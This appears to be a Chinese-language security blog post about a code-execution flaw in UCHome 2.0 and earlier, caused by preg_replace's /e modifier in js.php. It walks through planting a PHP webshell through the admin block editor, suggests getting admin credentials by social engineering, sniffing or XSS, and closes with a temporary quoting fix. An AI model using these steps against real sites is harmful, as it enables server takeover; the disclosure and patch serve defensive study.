DZ公司的-Uchome <=2.0 后臺(tái)GetWebShell 漏洞

[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!

漏洞介紹：uchome<=2.0的程序中js.php文件存在代碼執(zhí)行漏洞,原因是正則匹配時(shí)引號(hào)使用不當(dāng),導(dǎo)致可以任意提交并執(zhí)行PHP代碼。 Php中單引號(hào)與雙引號(hào)是有區(qū)別的： " "雙引號(hào)里面的字段會(huì)經(jīng)過(guò)編譯器解釋，然后再當(dāng)作HTML代碼輸出。 ' '單引號(hào)里面的不進(jìn)行解釋，直接輸出。 這里正則匹配后的\\2在雙引號(hào)里，導(dǎo)致了代碼可以執(zhí)行。 Js.php 問(wèn)題代碼如下 [code] include template("data/blocktpl/$id"); $obcontent = ob_get_contents(); obclean(); $s = array("/(\r|\n)/", "/\.+?\<\/div\>/is", "/\s+(href|src)=\"(.+?)\"/ie");
$r = array("\n", '', 'js_mkurl("\\1", "\\2")');//代碼執(zhí)行

$content = '';
if($obcontent) {
$obcontent = preg_replace($s, $r, $obcontent);
$lines = explode("\n", $obcontent);
foreach ($lines as $line) {
$line = addcslashes(trim($line), '/\'\\');
$content .= "document.writeln('$line');\n";
}
} else {
$content .= "document.writeln('NO DATA')";
}

[/code]
測(cè)試環(huán)境:
系統(tǒng)環(huán)境:Windows 2003 + IIS + PHP 5.2.9-2 + Mysql 5.0.67
程序環(huán)境:Ucenter Home 2.0(官方最新) + Ucenter 1.5(官方最新)

測(cè)試方法:

首先我在本地安裝了一個(gè)全新的uchome.。這個(gè)漏洞的前提是首先拿到后臺(tái)權(quán)限。你可以通過(guò)社工、旁注、嗅探、Xss 等手段拿到管理員密碼并進(jìn)入后臺(tái)。
接著打開(kāi)admincp.php?ac=block&op=add，選擇第一個(gè)添加一個(gè)模塊。填上模板名稱、其他默認(rèn)即可。然后提交。如下圖

接著在數(shù)據(jù)顯示Html代碼處填入如下代碼然后提交
[code]
a
加密內(nèi)容為fputs(fopen('data/a.php','w'),'');

保存后檢查一下ID，如果ID是1，則訪問(wèn)一下js.php?id=1

則在data目錄下生成a.php一句話木馬，密碼是cmd

我這里ID是2 所以我訪問(wèn) js.php?id=2

訪問(wèn)后data 目錄下多出了一個(gè)a.php

這就是我們的一句話。連接試試

結(jié)果顯示.漏洞確實(shí)存在并能執(zhí)行任意PHP代碼。。。已經(jīng)成功得到一個(gè)webshelll

漏洞修補(bǔ)：目前官方暫無(wú)補(bǔ)丁臨時(shí)修補(bǔ)方法如下

$r = array("\n", '', 'js_mkurl("\\1", "\\2")');
替換為
$r = array("\n", '', "js_mkurl('\\1', '\\2')");

[/code]

問(wèn)題未解決？付費(fèi)解決問(wèn)題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信

所寫(xiě)所說(shuō)，是心之所感，思之所悟，行之所得；文當(dāng)無(wú)敷衍，落筆求簡(jiǎn)潔。 以所舍，求所獲；有所依，方所成！